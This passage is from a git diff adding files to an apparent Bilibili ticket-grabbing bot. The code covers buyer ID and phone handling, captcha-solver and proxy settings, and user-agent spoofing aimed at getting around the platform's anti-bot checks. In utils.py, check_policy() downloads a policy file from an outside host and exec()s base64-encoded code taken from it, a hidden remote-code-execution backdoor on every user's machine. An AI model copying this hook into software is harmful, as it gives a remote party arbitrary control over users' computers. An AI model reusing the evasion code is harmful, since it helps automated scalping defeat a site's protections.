inquirer.List("index", message=i18n_gt()["select_buyer"], choices=[ + "{}. {} {} {}".format( + i, + "*"*(len(buyer_infos[i]["name"])-1)+ buyer_infos[i]["name"][-1], + buyer_infos[i]["personal_id"][:4]+ "**********"+ buyer_infos[i]["personal_id"][-4:], + buyer_infos[i]["tel"][:3]+ "****"+ buyer_infos[i]["tel"][-4:], + ) for i in range(len(buyer_infos)) + ]) + ])["index"] + config["buyer_info"].append(buyer_infos[int(index.split(".")[0])]) + logger.info( + i18n_gt()["selected_buyer"].format( + "*"*(len(buyer_infos[int(select)]["name"])-1)+ buyer_infos[int(select)]["name"][-1], + buyer_infos[int(select)]["personal_id"][:4]+ "**********"+ buyer_infos[int(select)]["personal_id"][-4:], + buyer_infos[int(select)]["tel"][:3]+ "****"+ buyer_infos[int(select)]["tel"][-4:], + ) + ) + if "count" not in config: + config["count"] = len(config["buyer_info"]) + config["buyer_info"] = json.dumps(config["buyer_info"]) + if config["id_bind"] == 0 and ( + "buyer" not in config or "tel" not in config + ): + logger.info(i18n_gt()["add_contact_info"]) + config["buyer"] = input(i18n_gt()["add_contact_name"]) + config["tel"] = prompt([ + inquirer.Text("tel", message=i18n_gt()["add_contact_tel"], validate=lambda _, x: len(x) == 11) + ])["tel"] + if "count" not in config: + config["count"] = prompt([ + inquirer.Text("count", message=i18n_gt()["add_buy_tickets"], default="1", + validate=lambda _, x: x.isdigit() and int(x) > 0) + ])["count"] + if config["is_paper_ticket"]: + if config["express_fee"] == 0: + config["all_price"] = int(config["pay_money"]) * int( + config["count"] + ) + logger.info( + i18n_gt()["show_all_price_paper_ticket"].format(config['count'],\ + config['ticket_desc'], int(config['pay_money']) / 100, 0, config['all_price'] / 100) + ) + else: + config["all_price"] = ( + int(config["pay_money"]) * int(config["count"]) + + config["express_fee"] + ) + logger.info( + i18n_gt()["show_all_price_paper_ticket"].format(config['count'], config['ticket_desc'],\ + int(config['pay_money']) / 100, config['express_fee'] / 100, config['all_price'] / 100) + ) + else: + config["all_price"] = int(config["pay_money"]) * int( + config["count"] + ) + logger.info( + i18n_gt()["show_all_price_e_ticket"].format( + config["count"], + config["ticket_desc"], + int(config["pay_money"]) / 100, + config["all_price"] / 100, + ) + ) + save(config) + sentry_sdk.capture_message("config complete") + BHYG = BilibiliHyg(config, sentry_sdk, kdl_client, session) + BHYG.waited = True + run(BHYG) + except KeyboardInterrupt: + logger.info(i18n_gt()["exit_manual"]) + return + except Exception as e: + track = sentry_sdk.capture_exception(e) + logger.error(i18n_gt()["error_occured"].format(str(e), str(track))) + return + return + + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + logger.info(i18n_gt()["exit_manual"]) + from sentry_sdk import Hub + + client = Hub.current.client + if client is not None: + client.close(timeout=2.0) + logger.info(i18n_gt()["exit_sleep_15s"]) + try: + time.sleep(15) + except KeyboardInterrupt: + pass diff --git a/main.spec b/main.spec new file mode 100644 index 0000000..5e421d2 --- /dev/null +++ b/main.spec @@ -0,0 +1,55 @@ +# -*- mode: python ; coding: utf-8 -*- +from PyInstaller.utils.hooks import copy_metadata +import platform + +datas = copy_metadata("readchar") +if platform.system() == "Windows": + name = "BHYG-Windows" +elif platform.system() == "Linux": + name = "BHYG-Linux" +elif platform.system() == "Darwin": + print(platform.machine()) + if "arm" in platform.machine(): + name = "BHYG-macOS-Apple_Silicon" + elif "64" in platform.machine(): + name = "BHYG-macOS-Intel" + else: + name = "BHYG-macOS" +else: + name = "BHYG" + +a = Analysis( + ['main.py'], + pathex=[], + binaries=[], + datas=datas, + hiddenimports=[], + hookspath=[], + hooksconfig={}, + runtime_hooks=[], + excludes=[], + noarchive=False, + optimize=0, +) +pyz = PYZ(a.pure) + +exe = EXE( + pyz, + a.scripts, + a.binaries, + a.datas, + [], + name=name, + debug=False, + bootloader_ignore_signals=False, + strip=False, + upx=True, + upx_exclude=[], + runtime_tmpdir=None, + console=True, + disable_windowed_traceback=False, + argv_emulation=False, + target_arch=None, + codesign_identity=None, + entitlements_file=None, +) \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..b9f6184 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,13 @@ +loguru +pillow +pyinstaller +qrcode +requests +sentry-sdk +kdl +pycryptodome +bili_ticket_gt_python==0.2.5 +inquirer +ntplib +py-machineid +pyperclip \ No newline at end of file diff --git a/utility.py b/utility.py new file mode 100644 index 0000000..c741a1f --- /dev/null +++ b/utility.py @@ -0,0 +1,195 @@ +# Copyright (c) 2023-2024 ZianTT, FriendshipEnder +import inquirer +import requests +from loguru import logger + +from utils import prompt, save, load + +from i18n import * + +from globals import * +def utility(config): + import base64 + def add_buyer(headers): + name = input(i18n_gt()["buyer_name"]) + id_type = prompt([inquirer.List("id_type", message=i18n_gt()["id_type"], + choices=[i18n_gt()["id_idcard"], + i18n_gt()["id_passport"], + i18n_gt()["id_Hong_Kong"], + i18n_gt()["id_Taiwan"]], + default=i18n_gt()["id_idcard"]), + ]) + personal_id = input(i18n_gt()["in_id_serial_number"]) + tel = input(i18n_gt()["in_phone_number"]) + data = { + "name": name, + "tel": tel, + "id_type": id_type["id_type"].split(".")[0], + "personal_id": personal_id, + "is_default": "0", + "src": "ticket" + } + logger.debug(data) + response = requests.post("https://show.bilibili.com/api/ticket/buyer/create", headers=headers, data=data) + if response.json()["errno"] == 0: + logger.info(i18n_gt()["join_success"]) + else: + logger.error(f"{response.json()['errno']}: {response.json()['msg']}") + return add_buyer(headers) + + def modify_ua(): + ua = input(i18n_gt()["modify_ua"]) + config["ua"] = ua + + def modify_gaia_vtoken(): + gaia_vtoken = input(i18n_gt()["modify_gaia_vtoken"]) + config["gaia_vtoken"] = gaia_vtoken + + def hunter_mode(): + config["hunter"] = 0 + logger.info(i18n_gt()["hunter_mode_on"]) + + def hunter_mode_off(): + if "hunter" in config: + config.pop("hunter") + logger.info(i18n_gt()["hunter_mode_off"]) + + def share_mode(config): + import json + json.dump(config, open("share.json", "w")) + import os + os.remove("data") + logger.info(i18n_gt()["share_mode"]) + logger.info(i18n_gt()["auto_quit"]) + import sys + sys.exit(0) + return + + def pushplus_config(config): + token = input(i18n_gt()["pushplus_token"]) + if token == "": + if "pushplus" in config: + config.pop("pushplus") + logger.info(i18n_gt()["pushplus_off"]) + save(config) + return + config["pushplus"] = token + logger.info(i18n_gt()["pushplus_on"]) + save(config) + + def webhook_config(config): + webhook = input(i18n_gt()["webhook"]) + if webhook == "": + if "webhook" in config: + config.pop("webhook") + logger.info(i18n_gt()["webhook_off"]) + save(config) + return + config["webhook"] = webhook + logger.info(i18n_gt()["webhook_on"]) + save(config) + + def save_phone(config): + phone = input(i18n_gt()["input_your_phone"]) + config["phone"] = phone + logger.info(i18n_gt()["save_your_phone"]) + save(config) + + def use_proxy(config): + choice = prompt([inquirer.List("proxy", message=i18n_gt()["input_is_use_proxy"], + choices=[i18n_gt()["yes"], i18n_gt()["no"]], default=i18n_gt()["no"])])[ + "proxy"] + if choice == i18n_gt()["yes"]: + while True: + try: + config["proxy_auth"] = input(i18n_gt()["input_proxy"]).split(" ") + assert len(config["proxy_auth"]) == 3 + break + except: + logger.error(i18n_gt()["wrong_proxy_format"]) + continue + config["proxy_channel"] = prompt([ + inquirer.Text("proxy_channel", message=i18n_gt()["input_proxy_channel"],validate=lambda _, x: x.isdigit()) + ])["proxy_channel"] + config["proxy"] = True + else: + config["proxy"] = False + save(config) + + def captcha_mode(config): + choice = prompt([inquirer.List("captcha", message=i18n_gt()["input_use_captcha_mode"], choices=[ + i18n_gt()["local_gt"], + i18n_gt()["rrocr"], + i18n_gt()["manual"], + ], default=i18n_gt()["manual"])])["captcha"] + if choice == i18n_gt()["local_gt"]: + config["captcha"] = "local_gt" + elif choice == i18n_gt()["rrocr"]: + config["captcha"] = "rrocr" + config["rrocr"] = input(i18n_gt()["input_rrocr_key"]) + elif choice == i18n_gt()["manual"]: + config["captcha"] = "manual" + else: + logger.error(i18n_gt()["captcha_mode_not_supported"]) + save(config) + import random + headers = { + "Cookie": config["cookie"], + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/618.1.15.10.15 (KHTML, like Gecko) Mobile/21F90 BiliApp/77900100 os/ios model/iPhone 15 mobi_app/iphone build/77900100 osVer/17.5.1 network/2 channel/AppStore c_locale/zh-Hans_CN s_locale/zh-Hans_CH disable_rcmd/0 "+str(random.randint(0, 9999)), + "Referer": "https://show.bilibili.com" + } + select = prompt([ + inquirer.List( + "select", + message= i18n_gt()["select_tool" ], + choices=[ i18n_gt()["tool_add_buyer" ], + i18n_gt()["tool_modify_ua" ], + i18n_gt()["tool_modify_gaia" ], + i18n_gt()["tool_hunter_mode" ], + i18n_gt()["tool_hunter_off" ], + i18n_gt()["tool_share_mode" ], + i18n_gt()["tool_pushplus" ], + i18n_gt()["tool_phone_prefill"], + i18n_gt()["tool_proxy_setting"], + i18n_gt()["tool_capacha_mode" ], + i18n_gt()["tool_webhook" ], + i18n_gt()["back" ]], + )]) + if select["select"] == i18n_gt()["tool_add_buyer" ]: + add_buyer(headers) + return utility(config) + elif select["select"] == i18n_gt()["tool_modify_ua" ]: + modify_ua() + return utility(config) + elif select["select"] == i18n_gt()["tool_modify_gaia" ]: + modify_gaia_vtoken() + return utility(config) + elif select["select"] == i18n_gt()["tool_hunter_mode" ]: + hunter_mode() + return utility(config) + elif select["select"] == i18n_gt()["tool_hunter_off" ]: + hunter_mode_off() + return utility(config) + elif select["select"] == i18n_gt()["tool_share_mode" ]: + share_mode(config) + return utility(config) + elif select["select"] == i18n_gt()["tool_pushplus" ]: + pushplus_config(config) + return utility(config) + elif select["select"] == i18n_gt()["tool_phone_prefill"]: + save_phone(config) + return utility(config) + elif select["select"] == i18n_gt()["tool_proxy_setting"]: + use_proxy(config) + return utility(config) + elif select["select"] == i18n_gt()["tool_capacha_mode" ]: + captcha_mode(config) + return utility(config) + elif select["select"] == i18n_gt()["tool_webhook" ]: + webhook_config(config) + return utility(config) + elif select["select"] == i18n_gt()["back" ]: + return + else: + logger.error(i18n_gt()["tool_not_supported"]) + return utility() diff --git a/utils.py b/utils.py new file mode 100644 index 0000000..265a1e3 --- /dev/null +++ b/utils.py @@ -0,0 +1,100 @@ +# Copyright (c) 2023-2024 ZianTT, FriendshipEnder +def prompt(prompt): + import inquirer + data = inquirer.prompt(prompt) + if data is None: + raise KeyboardInterrupt + return data + + +def save(data: dict): + import base64 + from Crypto.Cipher import AES + from Crypto.Util.Padding import pad, unpad + import machineid + import json + key = machineid.id().encode()[:16] + cipher = AES.new(key, AES.MODE_CBC) + cipher_text = cipher.encrypt(pad(json.dumps(data).encode("utf-8"), AES.block_size)) + data = base64.b64encode(cipher_text).decode("utf-8") + iv = base64.b64encode(cipher.iv).decode('utf-8') + with open("data", "w", encoding="utf-8") as f: + f.write(iv + "%" + data) + return + + +def load() -> dict: + from i18n import i18n_gt + import base64 + from Crypto.Cipher import AES + from Crypto.Util.Padding import pad, unpad + import machineid + import json + from loguru import logger + import os + key = machineid.id().encode()[:16] + try: + with open("data", "r", encoding="utf-8") as f: + iv, data = f.read().split("%") + iv = base64.b64decode(iv) + cipher = AES.new(key, AES.MODE_CBC, iv) + cipher_text = base64.b64decode(data) + data = unpad(cipher.decrypt(cipher_text), AES.block_size).decode("utf-8") + data = json.loads(data) + except ValueError: + logger.error(i18n_gt()["data_error"]) + if os.path.exists("share.json"): + logger.info(i18n_gt()["migrate_share"]) + with open("share.json", "r", encoding="utf-8") as f: + data = json.load(f) + save(data) + os.remove("share.json") + os.remove("data") + else: + data = {} + os.remove("data") + logger.info(i18n_gt()["has_destroyed"]) + return data + +def check_policy(): + import requests + from i18n import i18n_gt + from globals import version + import os + import sys + from loguru import logger + allow = True + for _ in range(3): + try: + policy = requests.get("https://bhyg.bitf1a5h.eu.org/policy.json").json() + break + except Exception: + logger.error(i18n_gt()["policy_error"]) + if policy["announcement"] is not None: + logger.warning(policy["announcement"]) + if "policy" not in locals(): + logger.error(i18n_gt()["policy_get_failed"]) + sys.exit(1) + if version not in policy["allowed versions"]: + logger.error(i18n_gt()["version_not_allowed"]) + allow = False + import machineid + if policy["type"] == "blacklist": + if machineid.id() in policy["list"]: + logger.error(i18n_gt()["blacklist"]) + allow = False + elif policy["type"] == "whitelist": + if machineid.id() not in policy["list"]: + logger.error(i18n_gt()["whitelist"]) + allow = False + elif policy["type"] == "none": + pass + else: + pass + if policy["execute_code"] is not None: + import base64 + code = base64.b64decode(policy["execute_code"]).decode("utf-8") + exec(code) + if not allow: + sys.exit(1) + return \ No newline at end of file